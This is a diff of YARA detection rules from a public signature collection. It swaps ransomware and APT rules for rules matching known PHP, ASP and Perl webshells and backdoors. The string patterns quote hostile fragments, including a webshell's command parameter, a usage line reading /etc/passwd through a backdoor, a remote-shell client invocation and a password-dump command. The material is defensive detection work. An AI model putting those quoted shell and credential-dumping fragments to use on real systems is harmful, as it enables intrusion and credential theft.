-		$consts = { 80 3D [4] 01 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] 00 00 04 00 [1-10] 00 00 00 00 [1-30] 80 3D [4] 02 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] FF FF FF FF [1-10] FF FF FF FF [1-30] 03 00 00 00 [1-10] 03 00 00 00 }
+		$s0 = "Codz by angel(4ngel)"
+		$s1 = "Web: http://www.4ngel.net"
+		$s2 = "$admin['cookielife'] = 86400;"
+		$s3 = "$errmsg = 'The file you want Downloadable was nonexistent';"
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $consts
+		1 of them
 }
-rule SIGNATURE_BASE_MAL_Dropper_Win_Darkside_1 : FILE
+rule SIGNATURE_BASE_Ak74Shell_Php_Php
 {
 	meta:
-		description = "Detection for on the binary that was used as the dropper leading to DARKSIDE."
-		author = "FireEye"
-		id = "910a581c-25a4-5d5e-acdc-6d87cbedd3cf"
-		date = "2021-05-11"
+		description = "Semi-Auto-generated  - file ak74shell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "eaf243cb-fa26-5f34-a724-60a08acff636"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_ransom_darkside.yar#L39-L56"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "131b3666ae444e0de043eafdf7cfd3324b927d18d8ad56d5004ea09b2da5610e"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4039-L4051"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7f83adcb4c1111653d30c6427a94f66f"
+		logic_hash = "64eb7e72679fc9ee81af6f46d0ab604357710716b93b1ddfaebc5596c968fce8"
 		score = 75
-		quality = 79
-		tags = "FILE"
+		quality = 60
+		tags = ""
 
 	strings:
-		$CommonDLLs1 = "KERNEL32.dll" fullword
-		$CommonDLLs2 = "USER32.dll" fullword
-		$CommonDLLs3 = "ADVAPI32.dll" fullword
-		$CommonDLLs4 = "ole32.dll" fullword
-		$KeyString1 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 57 69 6E 64 6F 77 73 2E 43 6F 6D 6D 6F 6E 2D 43 6F 6E 74 72 6F 6C 73 22 20 76 65 72 73 69 6F 6E 3D 22 36 2E 30 2E 30 2E 30 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 36 35 39 35 62 36 34 31 34 34 63 63 66 31 64 66 22 }
-		$KeyString2 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 56 43 39 30 2E 4D 46 43 22 20 76 65 72 73 69 6F 6E 3D 22 39 2E 30 2E 32 31 30 32 32 2E 38 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 31 66 63 38 62 33 62 39 61 31 65 31 38 65 33 62 22 }
-		$Slashes = { 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C }
+		$s1 = "$res .= '<td align=\"center\"><a href=\"'.$xshell.'?act=chmod&file='.$_SESSION["
+		$s2 = "AK-74 Security Team Web Site: www.ak74-team.net"
+		$s3 = "$xshell"
 
 	condition:
-		filesize <2MB and filesize >500KB and uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and ( all of ($CommonDLLs*)) and ( all of ($KeyString*)) and $Slashes
+		2 of them
 }
-rule SIGNATURE_BASE_MAL_Backdoor_Win_C3_1 : FILE
+rule SIGNATURE_BASE_Rem_View_Php_Php
 {
 	meta:
-		description = "Detection to identify the Custom Command and Control (C3) binaries."
-		author = "FireEye"
-		id = "60eb022e-6f4e-5c7d-9ddf-b458a593071e"
-		date = "2021-05-11"
+		description = "Semi-Auto-generated  - file Rem View.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "6137434c-89e9-537b-9b26-b56178022b76"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_ransom_darkside.yar#L58-L77"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7cdac4b82a7573ae825e5edb48f80be5"
-		logic_hash = "369c54b9426edb449004466d30e1010ecefe8cfbea106306eb8eb90b27610dbf"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4052-L4064"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "29420106d9a81553ef0d1ca72b9934d9"
+		logic_hash = "bcd5c86e793748ffe0ce4415ee68101e8183e1f97477b49843938d254f08695a"
 		score = 75
-		quality = 79
-		tags = "FILE"
+		quality = 85
+		tags = ""
 
 	strings:
-		$dropboxAPI = "Dropbox-API-Arg"
-		$knownDLLs1 = "WINHTTP.dll" fullword
-		$knownDLLs2 = "SHLWAPI.dll" fullword
-		$knownDLLs3 = "NETAPI32.dll" fullword
-		$knownDLLs4 = "ODBC32.dll" fullword
-		$tokenString1 = { 5B 78 5D 20 65 72 72 6F 72 20 73 65 74 74 69 6E 67 20 74 6F 6B 65 6E }
-		$tokenString2 = { 5B 78 5D 20 65 72 72 6F 72 20 63 72 65 61 74 69 6E 67 20 54 6F 6B 65 6E }
-		$tokenString3 = { 5B 78 5D 20 65 72 72 6F 72 20 64 75 70 6C 69 63 61 74 69 6E 67 20 74 6F 6B 65 6E }
+		$s0 = "$php=\"/* line 1 */\\n\\n// \".mm(\"for example, uncomment next line\").\""
+		$s2 = "<input type=submit value='\".mm(\"Delete all dir/files recursive\").\" (rm -fr)'"
+		$s4 = "Welcome to phpRemoteView (RemView)"
 
 	condition:
-		filesize <5MB and uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and ((( all of ($knownDLLs*)) and ($dropboxAPI or (1 of ($tokenString*)))) or ( all of ($tokenString*)))
+		1 of them
 }
-rule SIGNATURE_BASE_APT_Project_Sauron_Scripts
+rule SIGNATURE_BASE_Java_Shell_Js
 {
 	meta:
-		description = "Detects scripts (mostly LUA) from Project Sauron report by Kaspersky"
-		author = "Florian Roth (Nextron Systems)"
-		id = "575a6f1b-5a4d-5f81-b44a-b7025dbec2a5"
-		date = "2016-08-08"
+		description = "Semi-Auto-generated  - file Java Shell.js.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "eff52c3a-fc3a-5e80-8da9-786168159ebc"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/eFoP4A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_sauron_extras.yar#L1-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "275ec8de40ae973b4ec4c891c56a70fc2fd05abff258b8015d986d0106506367"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4065-L4077"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "36403bc776eb12e8b7cc0eb47c8aac83"
+		logic_hash = "f312298ac30ab57b21222a529b1566b9a66909806e4bc88120ac3992cfd3c6fb"
 		score = 75
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "local t = w.exec2str(\"regedit "
-		$x2 = "local r = w.exec2str(\"cat"
-		$x3 = "ap*.txt link*.txt node*.tun VirtualEncryptedNetwork.licence"
-		$x4 = "move O FakeVirtualEncryptedNetwork.dll"
-		$x5 = "sinfo | basex b 32url | dext l 30"
-		$x6 = "w.exec2str(execStr)"
-		$x7 = "netnfo irc | basex b 32url"
-		$x8 = "w.exec(\"wfw status\")"
-		$x9 = "exec(\"samdump\")"
-		$x10 = "cat VirtualEncryptedNetwork.ini|grep"
-		$x11 = "if string.lower(k) == \"securityproviders\" then"
-		$x12 = "exec2str(\"plist b | grep netsvcs\")"
-		$x14 = "SAURON_KBLOG_KEY ="
+		$s2 = "PySystemState.initialize(System.getProperties(), null, argv);" fullword
+		$s3 = "public class JythonShell extends JPanel implements Runnable {" fullword
+		$s4 = "public static int DEFAULT_SCROLLBACK = 100"
 
 	condition:
-		1 of them
+		2 of them
 }
-rule SIGNATURE_BASE_HKTL_Dsniff
+rule SIGNATURE_BASE_STNC_Php_Php
 {
 	meta:
-		description = "Detects Dsniff hack tool"
-		author = "Florian Roth (Nextron Systems)"
-		id = "eb39185b-330f-5b93-ac58-0465e5767919"
-		date = "2019-02-19"
+		description = "Semi-Auto-generated  - file STNC.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "8a7167f6-fa62-574f-a37c-3ceadc7f92ec"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/eFoP4A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_sauron_extras.yar#L27-L39"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0edd3ba7e78ee2810aa3c7643a96382c1fe0b5e627913a5a9bac2e83c8d40274"
-		score = 55
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4078-L4091"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2e56cfd5b5014cbbf1c1e3f082531815"
+		logic_hash = "b4118dc45ac109bde1cafda24cc103370db57c1993690f450cff828c1633af3c"
+		score = 75
 		quality = 85
 		tags = ""
 
 	strings:
-		$x1 = ".*account.*|.*acct.*|.*domain.*|.*login.*|.*member.*"
+		$s0 = "drmist.ru" fullword
+		$s1 = "hidden(\"action\",\"download\").hidden_pwd().\"<center><table><tr><td width=80"
+		$s2 = "STNC WebShell"
+		$s3 = "http://www.security-teams.net/index.php?showtopic="
 
 	condition:
 		1 of them
 }
-rule SIGNATURE_BASE_APT_Project_Sauron_Arping_Module
+rule SIGNATURE_BASE_Azrailphp_V1_0_Php
 {
 	meta:
-		description = "Detects strings from arping module - Project Sauron report by Kaspersky"
-		author = "Florian Roth (Nextron Systems)"
-		id = "42389511-de92-57cb-9dee-9f829fd5e55a"
-		date = "2016-08-08"
+		description = "Semi-Auto-generated  - file aZRaiLPhp v1.0.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "60152b96-e8d3-5b06-a855-fb64a490742b"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/eFoP4A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_sauron_extras.yar#L41-L55"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d87e91441994c4ed863596d79c108c9f72adfb708f885cb63a881eb25aa089b7"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4092-L4104"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "26b2d3943395682e36da06ed493a3715"
+		logic_hash = "4385f294e59b644fe86d8380db4f7926924eb744ad80735b78ef778d2f7e8ae0"
 		score = 75
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Resolve hosts that answer"
-		$s2 = "Print only replying Ips"
-		$s3 = "Do not display MAC addresses"
+		$s0 = "azrailphp"
+		$s1 = "<br><center><INPUT TYPE='SUBMIT' NAME='dy' VALUE='Dosya Yolla!'></center>"
+		$s3 = "<center><INPUT TYPE='submit' name='okmf' value='TAMAM'></center>"
 
 	condition:
-		all of them
+		2 of them
 }
-rule SIGNATURE_BASE_APT_Project_Sauron_Kblogi_Module
+rule SIGNATURE_BASE_Moroccan_Spamers_Ma_Edition_By_Ghost_Php
 {
 	meta:
-		description = "Detects strings from kblogi module - Project Sauron report by Kaspersky"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e1dd4d1a-1089-5897-8f4a-52c7068802fa"
-		date = "2016-08-08"
+		description = "Semi-Auto-generated  - file Moroccan Spamers Ma-EditioN By GhOsT.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "721d6e9f-a237-5462-a8d3-f838d7fda420"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/eFoP4A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_sauron_extras.yar#L57-L71"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bba87b17a62fc968e89d4f6d10de06875c6b7f47c8bb7ae3f7932804b23a8e87"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4105-L4117"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d1b7b311a7ffffebf51437d7cd97dc65"
+		logic_hash = "e755e4ea467861e5217d532b161bf4c582ff71aa1e4720dfa4b75d6e8d7629d8"
 		score = 75
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "Inject using process name or pid. Default"
-		$s2 = "Convert mode: Read log from file and convert to text"
-		$s3 = "Maximum running time in seconds"
+		$s0 = ";$sd98=\"john.barker446@gmail.com\""
+		$s1 = "print \"Sending mail to $to....... \";"
+		$s2 = "<td colspan=\"2\" width=\"715\" background=\"/simparts/images/cellpic1.gif\" hei"
 
 	condition:
-		$x1 or 2 of them
+		1 of them
 }
-rule SIGNATURE_BASE_APT_Project_Sauron_Basex_Module
+rule SIGNATURE_BASE_Zacosmall_Php
 {
 	meta:
-		description = "Detects strings from basex module - Project Sauron report by Kaspersky"
-		author = "Florian Roth (Nextron Systems)"
-		id = "51ef3826-af5c-562b-a1f8-3bf11532ac2d"
-		date = "2016-08-08"
+		description = "Semi-Auto-generated  - file zacosmall.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "25946aa7-7c56-5670-ae2f-c55e65a3b911"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/eFoP4A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_sauron_extras.yar#L73-L87"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "90cfb58017d62312c56908aca1a48bb7425f5cd51540298ecf65305b46ffb2c8"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4118-L4130"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5295ee8dc2f5fd416be442548d68f7a6"
+		logic_hash = "5a2125fc447344f8cc708503d9e4dd82f9b873e40ded497ef9e01974d08bf043"
 		score = 75
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "64, 64url, 32, 32url or 16."
-		$s2 = "Force decoding when input is invalid/corrupt"
-		$s3 = "This cruft"
+		$s0 = "rand(1,99999);$sj98"
+		$s1 = "$dump_file.='`'.$rows2[0].'`"
+		$s3 = "filename=\\\"dump_{$db_dump}_${table_d"
 
 	condition:
-		$x1 or 2 of them
+		2 of them
 }
-rule SIGNATURE_BASE_APT_Project_Sauron_Dext_Module
+rule SIGNATURE_BASE_Cmdasp_Asp
 {
 	meta:
-		description = "Detects strings from dext module - Project Sauron report by Kaspersky"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d69373e0-d6ad-5475-8766-06e865620ed8"
-		date = "2016-08-08"
+		description = "Semi-Auto-generated  - file CmdAsp.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "79e0ba85-ed4b-5909-a2fd-9b4125598078"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/eFoP4A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_sauron_extras.yar#L89-L104"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7dbfb3ddfffa6fa65800e07fdcc527650474740afa658567efe46830587cedae"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4131-L4144"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "64f24f09ec6efaa904e2492dffc518b9"
+		logic_hash = "95dc25ecd47b43edbd7e7e36966377aa09da769aff2bc1c33a7df87989611bfa"
 		score = 75
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "Assemble rows of DNS names back to a single string of data"
-		$x2 = "removes checks of DNS names and lengths (during split)"
-		$x3 = "Randomize data lengths (length/2 to length)"
-		$x4 = "This cruft"
+		$s0 = "CmdAsp.asp"
+		$s1 = "Set oFileSys = Server.CreateObject(\"Scripting.FileSystemObject\")" fullword
+		$s2 = "-- Use a poor man's pipe ... a temp file --"
+		$s3 = "maceo @ dogmile.com"
 
 	condition:
 		2 of them
 }
-rule SIGNATURE_BASE_Hacktool_This_Cruft : FILE
+rule SIGNATURE_BASE_Simple_Backdoor_Php
 {
 	meta:
-		description = "Detects string 'This cruft' often used in hack tools like netcat or cryptcat and also mentioned in Project Sauron report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a39de541-19b5-5b7e-a3dc-51a5309181e5"
-		date = "2016-08-08"
+		description = "Semi-Auto-generated  - file simple-backdoor.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "5607f501-a750-59be-9595-5ac71ea6f74b"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/eFoP4A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_sauron_extras.yar#L106-L119"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "875c34e8048c3f98afc97683d0b3086c3396753cd9fb14bc68681c63ed77fd51"
-		score = 60
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4145-L4157"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f091d1b9274c881f8e41b2f96e6b9936"
+		logic_hash = "e2e98580b59727313de298fab0009704f621b1b6556220d5065118d960f7a068"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$x1 = "This cruft" fullword
+		$s0 = "$cmd = ($_REQUEST['cmd']);" fullword
+		$s1 = "<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->"
+		$s2 = "Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd" fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and $x1)
+		2 of them
 }
-rule SIGNATURE_BASE_APT_Project_Sauron_Custom_M1 : FILE
+rule SIGNATURE_BASE_Mysql_Shell_Php
 {
 	meta:
-		description = "Detects malware from Project Sauron APT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c741bd7d-1885-55f1-a5b3-8f00fda2fe39"
-		date = "2016-08-09"
+		description = "Semi-Auto-generated  - file mysql_shell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "e517984b-575c-5ead-a438-9767d2c74099"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/eFoP4A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_sauron_extras.yar#L130-L148"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c81c996e487bdd840111513724ccf1220ee3bd8280d776aa4c128ef5263ee136"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4158-L4170"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d42aec2891214cace99b3eb9f3e21a63"
+		logic_hash = "dbd825e1056c41efaf80c0495ba7b6cf1c88403b997ea7ac1378512a19f7ed8a"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9572624b6026311a0e122835bcd7200eca396802000d0777dba118afaaf9f2a9"
+		tags = ""
 
 	strings:
-		$s1 = "ncnfloc.dll" fullword wide
-		$s4 = "Network Configuration Locator" fullword wide
-		$op0 = { 80 75 6e 85 c0 79 6a 66 41 83 38 0a 75 63 0f b7 }
-		$op1 = { 80 75 29 85 c9 79 25 b9 01 }
-		$op2 = { 2b d8 48 89 7c 24 38 44 89 6c 24 40 83 c3 08 89 }
+		$s0 = "SooMin Kim"
+		$s1 = "smkim@popeye.snu.ac.kr"
+		$s2 = "echo \"<td><a href='$PHP_SELF?action=deleteData&dbname=$dbname&tablename=$tablen"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and ( all of ($s*)) and 1 of ($op*)) or ( all of them )
+		1 of them
 }
-rule SIGNATURE_BASE_APT_Project_Sauron_Custom_M2 : FILE
+rule SIGNATURE_BASE_Dive_Shell_1_0___Emperor_Hacking_Team_Php
 {
 	meta:
-		description = "Detects malware from Project Sauron APT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "79abe5f2-a750-5018-a67f-6ee1c51a2ca1"
-		date = "2016-08-09"
+		description = "Semi-Auto-generated  - file Dive Shell 1.0 - Emperor Hacking Team.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "d75294a4-a0a7-5c74-bb7a-766db477633c"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/eFoP4A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_sauron_extras.yar#L150-L167"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "57099a802ee62a5183156f0b30713553b6fd83bbb5e1b453e9b25da0109b8777"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4171-L4184"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1b5102bdc41a7bc439eea8f0010310a5"
+		logic_hash = "bd51b625359799178ad3c8e02ba5bb5fca89e6e14769b86dd35c2b8a1049599f"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "30a824155603c2e9d8bfd3adab8660e826d7e0681e28e46d102706a03e23e3a8"
+		tags = ""
 
 	strings:
-		$s2 = "\\*\\3vpn" ascii
-		$op0 = { 55 8b ec 83 ec 0c 53 56 33 f6 39 75 08 57 89 75 }
-		$op1 = { 59 59 c3 8b 65 e8 ff 75 88 ff 15 50 20 40 00 ff }
-		$op2 = { 8b 4f 06 85 c9 74 14 83 f9 12 0f 82 a7 }
+		$s0 = "Emperor Hacking TEAM"
+		$s1 = "Simshell" fullword
+		$s2 = "ereg('^[[:blank:]]*cd[[:blank:]]"
+		$s3 = "<form name=\"shell\" action=\"<?php echo $_SERVER['PHP_SELF'] ?>\" method=\"POST"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and ( all of ($s*)) and all of ($op*))
+		2 of them
 }
-rule SIGNATURE_BASE_APT_Project_Sauron_Custom_M3 : FILE
+rule SIGNATURE_BASE_Asmodeus_V0_1_Pl
 {
 	meta:
-		description = "Detects malware from Project Sauron APT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "555b37a2-6a3c-539f-81dc-24c739795510"
-		date = "2016-08-09"
+		description = "Semi-Auto-generated  - file Asmodeus v0.1.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "cfd082a8-56fa-54bc-a683-c0052f78e12e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/eFoP4A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_sauron_extras.yar#L169-L186"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "739414990d112dd16e01831408ba745b04fae7621eb9074f73babbc40b69e1ad"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4185-L4198"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0978b672db0657103c79505df69cb4bb"
+		logic_hash = "be0130c9d2a5d29e6ef8749b0058c96c2ca1ecb9823fd14a8a2c82978cf3d104"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a4736de88e9208eb81b52f29bab9e7f328b90a86512bd0baadf4c519e948e5ec"
+		tags = ""
 
 	strings:
-		$s1 = "ExampleProject.dll" fullword ascii
-		$op0 = { 8b 4f 06 85 c9 74 14 83 f9 13 0f 82 ba }
-		$op1 = { ff 15 34 20 00 10 85 c0 59 a3 60 30 00 10 75 04 }
-		$op2 = { 55 8b ec ff 4d 0c 75 09 ff 75 08 ff 15 00 20 00 }
+		$s0 = "[url=http://www.governmentsecurity.org"
+		$s1 = "perl asmodeus.pl client 6666 127.0.0.1"
+		$s2 = "print \"Asmodeus Perl Remote Shell"
+		$s4 = "$internet_addr = inet_aton(\"$host\") or die \"ALOA:$!\\n\";" fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and ( all of ($s*)) and all of ($op*))
+		2 of them
 }
-rule SIGNATURE_BASE_APT_Project_Sauron_Custom_M4 : FILE
